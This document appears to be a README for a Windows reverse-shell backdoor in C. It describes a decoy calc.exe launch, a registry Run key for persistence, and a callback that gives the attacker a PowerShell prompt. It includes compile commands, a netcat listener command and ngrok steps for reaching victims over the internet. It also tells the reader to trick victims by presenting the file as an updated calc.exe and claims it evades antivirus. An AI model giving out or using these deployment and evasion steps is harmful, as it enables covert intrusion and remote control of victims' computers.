A FUD Backdoor Reverse Shell coded in C for any Windows distribution, that will fire a decoy app in the foreground while connecting back to the attacker machine as a silent background process.
In additition to this , the malware will copy itself in the %appdata% folder , and make itself persistent ON BOOT , by adding a startup registry key in :HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunThus at every boot, the malware will start a callback to the attacker machine, and will connect, provided the Listner, is on.
Oh, did I mention , that the shell that YOU WILL GET WILL BE A "POWRSHELL" !!!!
Change the IP to the attacker machine's IP and the port number to your desired port number and compile using: i686-w64-mingw32-gcc creverse.c -o reverse.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
Pass it to the attacker , stating that this is a updated version of calc.exe. You can scan the application with your AV solutions , if you want , and I am pretty sure thant 98% of the AV solutions will NOT detect it. It has passed the check of Windows Defender with an updated definition file.
PLEASE DO NOT UPLOAD TO VIRUSTOTAL !!!
Start a netcat listener on port 8080 using nc -lvp 8080
Once the victim executes the app, the decoy process (calc.exe) will fire up in the foregroud on the victim's end , while a reverse shell will fire up in the background, giving you a POWERSHELL PROMPT on the attacking machine.
PS: Even if the victim decides to exit the calc.exe the reverse shell session will be on , as they are running on 2 different processes.

PS: For WAN exploits , fire up ngrok with the following parameters (incase port forwarding is dissalowed by your ISP) ./ngrok tcp 8080
Region United States (us) Web Interface http://127.0.0.1:4040 Forwarding tcp://0.tcp.ngrok.io:19864 -> localhost:8080
Connections ttl opn rt1 rt5 p50 p90 0 0 0.00 0.00 0.00 0.00
Ping 0.tcp.ngrok.io atleast 6-7 times to get a stable mirror IP and port. When u see that the IP and the port numbers are same after 5-6 last pings , use that IP and port in the code.> compile the code > pass it to the victim machine > make sure ngrok is NOT interrupted on the attacker machine as a new ngrok session will grab a new IP and port > start a nc -lvp 8080 on the attacker system. > execute the payload on the victim machine > get session over WAN/Internet on the attacker machine .
